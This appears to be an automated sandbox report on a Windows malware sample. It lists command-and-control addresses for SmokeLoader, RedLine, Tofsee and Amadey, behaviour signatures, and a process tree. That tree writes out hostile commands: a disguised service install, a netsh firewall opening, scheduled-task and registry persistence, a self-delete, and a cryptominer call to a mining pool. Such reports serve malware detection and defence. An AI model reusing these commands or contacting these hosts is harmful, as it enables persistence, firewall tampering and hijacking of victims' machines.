Analysis

  • max time kernel
    152s
  • max time network
    151s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    20-12-2021 05:57

General

  • Target

    9ca1ceac1e8bd7f01465ec044644a4b6.exe

  • Size

    322KB

  • MD5

    9ca1ceac1e8bd7f01465ec044644a4b6

  • SHA1

    261bf43e74c6f4e6eba786303ff4138c3c2cc288

  • SHA256

    ceb27acbdbefd0eb7c0c002b2032a3e8aa5686bdcf7a80c18eed302143291468

  • SHA512

    5aebe5f57e1420a8a18f16851deb0e11cbe8470ea5d713f7cbfe43380221243b5b559a908f914b542a657291b19d6cd549ca5fd00794fa5cabe791521cd64cb3

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://host-data-coin-11.com/

http://file-coin-host-12.com/

http://srtuiyhuali.at/

http://fufuiloirtu.com/

http://amogohuigotuli.at/

http://novohudosovu.com/

http://brutuilionust.com/

http://bubushkalioua.com/

http://dumuilistrati.at/

http://verboliatsiaeeees.com/

rc4.i32
rc4.i32
rc4.i32
rc4.i32

Extracted

Family

redline

Botnet

1

C2

86.107.197.138:38133

Extracted

Family

tofsee

C2

mubrikych.top

oxxyfix.xyz

Extracted

Family

redline

Botnet

install

C2

62.182.156.187:56323

Extracted

Family

amadey

Version

2.86

C2

185.215.113.35/d2VxjasuwS/index.php

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

  • Arkei

    Arkei is an infostealer written in C++.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 7 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Arkei Stealer Payload 1 IoCs
  • XMRig Miner Payload 1 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 15 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • VMProtect packed file 3 IoCs

    Detects executables packed with VMProtect commercial packer.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 3 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 7 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 9 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies data under HKEY_USERS 12 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 59 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\9ca1ceac1e8bd7f01465ec044644a4b6.exe
    "C:\Users\Admin\AppData\Local\Temp\9ca1ceac1e8bd7f01465ec044644a4b6.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:2444
    • C:\Users\Admin\AppData\Local\Temp\9ca1ceac1e8bd7f01465ec044644a4b6.exe
      "C:\Users\Admin\AppData\Local\Temp\9ca1ceac1e8bd7f01465ec044644a4b6.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:2764
  • C:\Users\Admin\AppData\Local\Temp\914.exe
    C:\Users\Admin\AppData\Local\Temp\914.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:3592
    • C:\Users\Admin\AppData\Local\Temp\914.exe
      C:\Users\Admin\AppData\Local\Temp\914.exe
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:3084
  • C:\Users\Admin\AppData\Local\Temp\6118.exe
    C:\Users\Admin\AppData\Local\Temp\6118.exe
    1⤵
    • Executes dropped EXE
    • Checks SCSI registry key(s)
    • Suspicious behavior: MapViewOfSection
    PID:500
  • C:\Users\Admin\AppData\Local\Temp\C3DB.exe
    C:\Users\Admin\AppData\Local\Temp\C3DB.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Checks processor information in registry
    PID:1040
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\C3DB.exe" & exit
      2⤵
        PID:1912
        • C:\Windows\SysWOW64\timeout.exe
          timeout /t 5
          3⤵
          • Delays execution with timeout.exe
          PID:1272
    • C:\Users\Admin\AppData\Local\Temp\C89E.exe
      C:\Users\Admin\AppData\Local\Temp\C89E.exe
      1⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:1316
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\fpthlerz\
        2⤵
          PID:1712
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\njwiqtub.exe" C:\Windows\SysWOW64\fpthlerz\
          2⤵
            PID:2652
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" create fpthlerz binPath= "C:\Windows\SysWOW64\fpthlerz\njwiqtub.exe /d\"C:\Users\Admin\AppData\Local\Temp\C89E.exe\"" type= own start= auto DisplayName= "wifi support"
            2⤵
              PID:3644
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" description fpthlerz "wifi internet conection"
              2⤵
                PID:1964
              • C:\Windows\SysWOW64\sc.exe
                "C:\Windows\System32\sc.exe" start fpthlerz
                2⤵
                  PID:2760
                • C:\Windows\SysWOW64\netsh.exe
                  "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                  2⤵
                    PID:3780
                • C:\Users\Admin\AppData\Local\Temp\CCB6.exe
                  C:\Users\Admin\AppData\Local\Temp\CCB6.exe
                  1⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:788
                  • C:\Users\Admin\AppData\Local\Temp\CCB6.exe
                    C:\Users\Admin\AppData\Local\Temp\CCB6.exe
                    2⤵
                    • Executes dropped EXE
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3396
                • C:\Users\Admin\AppData\Local\Temp\D6BA.exe
                  C:\Users\Admin\AppData\Local\Temp\D6BA.exe
                  1⤵
                  • Executes dropped EXE
                  PID:1032
                  • C:\Users\Admin\AppData\Local\Temp\60bb09348e\tkools.exe
                    "C:\Users\Admin\AppData\Local\Temp\60bb09348e\tkools.exe"
                    2⤵
                    • Executes dropped EXE
                    PID:3248
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\60bb09348e\
                      3⤵
                        PID:1364
                        • C:\Windows\SysWOW64\reg.exe
                          REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\60bb09348e\
                          4⤵
                            PID:3564
                        • C:\Windows\SysWOW64\schtasks.exe
                          "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN tkools.exe /TR "C:\Users\Admin\AppData\Local\Temp\60bb09348e\tkools.exe" /F
                          3⤵
                          • Creates scheduled task(s)
                          PID:2252
                    • C:\Users\Admin\AppData\Local\Temp\DDB0.exe
                      C:\Users\Admin\AppData\Local\Temp\DDB0.exe
                      1⤵
                      • Executes dropped EXE
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3256
                    • C:\Users\Admin\AppData\Local\Temp\E35E.exe
                      C:\Users\Admin\AppData\Local\Temp\E35E.exe
                      1⤵
                      • Executes dropped EXE
                      • Suspicious use of SetThreadContext
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of WriteProcessMemory
                      PID:2112
                      • C:\Users\Admin\AppData\Local\Temp\E35E.exe
                        C:\Users\Admin\AppData\Local\Temp\E35E.exe
                        2⤵
                        • Executes dropped EXE
                        • Suspicious use of AdjustPrivilegeToken
                        PID:856
                    • C:\Users\Admin\AppData\Local\Temp\F169.exe
                      C:\Users\Admin\AppData\Local\Temp\F169.exe
                      1⤵
                      • Executes dropped EXE
                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                      • Suspicious use of SetThreadContext
                      PID:3116
                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
                        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
                        2⤵
                        • Suspicious use of AdjustPrivilegeToken
                        PID:3120
                    • C:\Windows\SysWOW64\fpthlerz\njwiqtub.exe
                      C:\Windows\SysWOW64\fpthlerz\njwiqtub.exe /d"C:\Users\Admin\AppData\Local\Temp\C89E.exe"
                      1⤵
                      • Executes dropped EXE
                      • Suspicious use of SetThreadContext
                      PID:3100
                      • C:\Windows\SysWOW64\svchost.exe
                        svchost.exe
                        2⤵
                        • Drops file in System32 directory
                        • Suspicious use of SetThreadContext
                        • Modifies data under HKEY_USERS
                        PID:2212
                        • C:\Windows\SysWOW64\svchost.exe
                          svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                          3⤵
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1860
                    • C:\Windows\SysWOW64\explorer.exe
                      C:\Windows\SysWOW64\explorer.exe
                      1⤵
                      • Accesses Microsoft Outlook profiles
                      • outlook_office_path
                      • outlook_win_path
                      PID:596
                    • C:\Windows\explorer.exe
                      C:\Windows\explorer.exe
                      1⤵
                        PID:4080
                      • C:\Users\Admin\AppData\Local\Temp\60bb09348e\tkools.exe
                        C:\Users\Admin\AppData\Local\Temp\60bb09348e\tkools.exe
                        1⤵
                        • Executes dropped EXE
                        PID:4024

                      Network

                      MITRE ATT&CK Enterprise v6

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • memory/500-132-0x0000000000530000-0x000000000067A000-memory.dmp

                        Filesize

                        1.3MB

                      • memory/500-133-0x0000000000400000-0x00000000004CD000-memory.dmp

                        Filesize

                        820KB

                      • memory/500-131-0x00000000006B6000-0x00000000006C7000-memory.dmp

                        Filesize

                        68KB

                      • memory/596-230-0x0000000000A00000-0x0000000000A74000-memory.dmp

                        Filesize

                        464KB

                      • memory/596-231-0x0000000000750000-0x00000000007BB000-memory.dmp

                        Filesize

                        428KB

                      • memory/788-148-0x0000000004A60000-0x0000000004A61000-memory.dmp

                        Filesize

                        4KB

                      • memory/788-150-0x0000000005140000-0x0000000005141000-memory.dmp

                        Filesize

                        4KB

                      • memory/788-149-0x00000000009F0000-0x00000000009F1000-memory.dmp

                        Filesize

                        4KB

                      • memory/788-147-0x0000000002420000-0x0000000002421000-memory.dmp

                        Filesize

                        4KB

                      • memory/788-146-0x0000000004910000-0x0000000004911000-memory.dmp

                        Filesize

                        4KB

                      • memory/788-144-0x0000000000020000-0x0000000000021000-memory.dmp

                        Filesize

                        4KB

                      • memory/856-206-0x0000000000400000-0x0000000000420000-memory.dmp

                        Filesize

                        128KB

                      • memory/856-224-0x0000000005300000-0x0000000005906000-memory.dmp

                        Filesize

                        6.0MB

                      • memory/1032-222-0x0000000000610000-0x000000000075A000-memory.dmp

                        Filesize

                        1.3MB

                      • memory/1032-223-0x0000000000400000-0x00000000004D6000-memory.dmp

                        Filesize

                        856KB

                      • memory/1040-156-0x0000000000400000-0x00000000004D2000-memory.dmp

                        Filesize

                        840KB

                      • memory/1040-154-0x0000000000776000-0x0000000000788000-memory.dmp

                        Filesize

                        72KB

                      • memory/1040-155-0x00000000004E0000-0x000000000062A000-memory.dmp

                        Filesize

                        1.3MB

                      • memory/1316-169-0x0000000000400000-0x00000000004D1000-memory.dmp

                        Filesize

                        836KB

                      • memory/1316-166-0x00000000004E0000-0x000000000062A000-memory.dmp

                        Filesize

                        1.3MB

                      • memory/1316-159-0x0000000000806000-0x0000000000817000-memory.dmp

                        Filesize

                        68KB

                      • memory/2112-196-0x00000000058F0000-0x00000000058F1000-memory.dmp

                        Filesize

                        4KB

                      • memory/2112-198-0x0000000005630000-0x0000000005631000-memory.dmp

                        Filesize

                        4KB

                      • memory/2112-186-0x0000000000E70000-0x0000000000E71000-memory.dmp

                        Filesize

                        4KB

                      • memory/2212-260-0x0000000000550000-0x0000000000565000-memory.dmp

                        Filesize

                        84KB

                      • memory/2444-118-0x00000000005C0000-0x00000000005C9000-memory.dmp

                        Filesize

                        36KB

                      • memory/2764-116-0x0000000000400000-0x0000000000409000-memory.dmp

                        Filesize

                        36KB

                      • memory/3004-127-0x0000000001040000-0x0000000001056000-memory.dmp

                        Filesize

                        88KB

                      • memory/3004-119-0x0000000000DC0000-0x0000000000DD6000-memory.dmp

                        Filesize

                        88KB

                      • memory/3004-134-0x0000000002ED0000-0x0000000002EE6000-memory.dmp

                        Filesize

                        88KB

                      • memory/3100-263-0x00000000005D0000-0x000000000071A000-memory.dmp

                        Filesize

                        1.3MB

                      • memory/3100-265-0x0000000000400000-0x00000000004D1000-memory.dmp

                        Filesize

                        836KB

                      • memory/3116-240-0x0000000001560000-0x0000000001561000-memory.dmp

                        Filesize

                        4KB

                      • memory/3116-229-0x0000000000D80000-0x0000000000D81000-memory.dmp

                        Filesize

                        4KB

                      • memory/3116-243-0x0000000001550000-0x0000000001551000-memory.dmp

                        Filesize

                        4KB

                      • memory/3116-241-0x00000000001F0000-0x0000000000CA1000-memory.dmp

                        Filesize

                        10.7MB

                      • memory/3116-236-0x0000000001540000-0x0000000001541000-memory.dmp

                        Filesize

                        4KB

                      • memory/3116-235-0x0000000001530000-0x0000000001531000-memory.dmp

                        Filesize

                        4KB

                      • memory/3116-233-0x0000000001510000-0x0000000001511000-memory.dmp

                        Filesize

                        4KB

                      • memory/3116-232-0x0000000000DE0000-0x0000000000DE1000-memory.dmp

                        Filesize

                        4KB

                      • memory/3116-234-0x0000000001520000-0x0000000001521000-memory.dmp

                        Filesize

                        4KB

                      • memory/3120-311-0x0000000004B80000-0x0000000005186000-memory.dmp

                        Filesize

                        6.0MB

                      • memory/3248-275-0x0000000000400000-0x00000000004D6000-memory.dmp

                        Filesize

                        856KB

                      • memory/3248-274-0x0000000002100000-0x0000000002138000-memory.dmp

                        Filesize

                        224KB

                      • memory/3256-168-0x00000000001F0000-0x00000000001F1000-memory.dmp

                        Filesize

                        4KB

                      • memory/3256-201-0x0000000005150000-0x0000000005151000-memory.dmp

                        Filesize

                        4KB

                      • memory/3256-172-0x0000000000400000-0x0000000000523000-memory.dmp

                        Filesize

                        1.1MB

                      • memory/3256-171-0x0000000000990000-0x00000000009CA000-memory.dmp

                        Filesize

                        232KB

                      • memory/3256-199-0x0000000005234000-0x0000000005235000-memory.dmp

                        Filesize

                        4KB

                      • memory/3256-195-0x0000000005233000-0x0000000005234000-memory.dmp

                        Filesize

                        4KB

                      • memory/3256-200-0x0000000005230000-0x0000000005231000-memory.dmp

                        Filesize

                        4KB

                      • memory/3256-177-0x00000000009E0000-0x0000000000A18000-memory.dmp

                        Filesize

                        224KB

                      • memory/3256-190-0x00000000006D0000-0x00000000006F3000-memory.dmp

                        Filesize

                        140KB

                      • memory/3256-194-0x0000000005232000-0x0000000005233000-memory.dmp

                        Filesize

                        4KB

                      • memory/3256-253-0x0000000006650000-0x0000000006651000-memory.dmp

                        Filesize

                        4KB

                      • memory/3256-256-0x0000000005237000-0x0000000005239000-memory.dmp

                        Filesize

                        8KB

                      • memory/3256-167-0x0000000000400000-0x0000000000523000-memory.dmp

                        Filesize

                        1.1MB

                      • memory/3256-191-0x00000000009D0000-0x00000000009D1000-memory.dmp

                        Filesize

                        4KB

                      • memory/3396-170-0x00000000055B0000-0x00000000055B1000-memory.dmp

                        Filesize

                        4KB

                      • memory/3396-176-0x00000000050B0000-0x00000000050B1000-memory.dmp

                        Filesize

                        4KB

                      • memory/3396-193-0x0000000004FA0000-0x00000000055A6000-memory.dmp

                        Filesize

                        6.0MB

                      • memory/3396-173-0x0000000005050000-0x0000000005051000-memory.dmp

                        Filesize

                        4KB

                      • memory/3396-174-0x0000000005180000-0x0000000005181000-memory.dmp

                        Filesize

                        4KB

                      • memory/3396-250-0x0000000005FE0000-0x0000000005FE1000-memory.dmp

                        Filesize

                        4KB

                      • memory/3396-160-0x0000000000400000-0x0000000000420000-memory.dmp

                        Filesize

                        128KB

                      • memory/3396-185-0x00000000050F0000-0x00000000050F1000-memory.dmp

                        Filesize

                        4KB

                      • memory/3396-258-0x0000000007350000-0x0000000007351000-memory.dmp

                        Filesize

                        4KB

                      • memory/3396-257-0x0000000006C50000-0x0000000006C51000-memory.dmp

                        Filesize

                        4KB

                      • memory/3592-123-0x0000000000746000-0x0000000000757000-memory.dmp

                        Filesize

                        68KB

                      • memory/4024-296-0x00000000004E0000-0x000000000062A000-memory.dmp

                        Filesize

                        1.3MB

                      • memory/4024-297-0x0000000000400000-0x00000000004D6000-memory.dmp

                        Filesize

                        856KB

                      • memory/4080-245-0x0000000001280000-0x0000000001287000-memory.dmp

                        Filesize

                        28KB

                      • memory/4080-246-0x0000000000FF0000-0x0000000000FFC000-memory.dmp

                        Filesize

                        48KB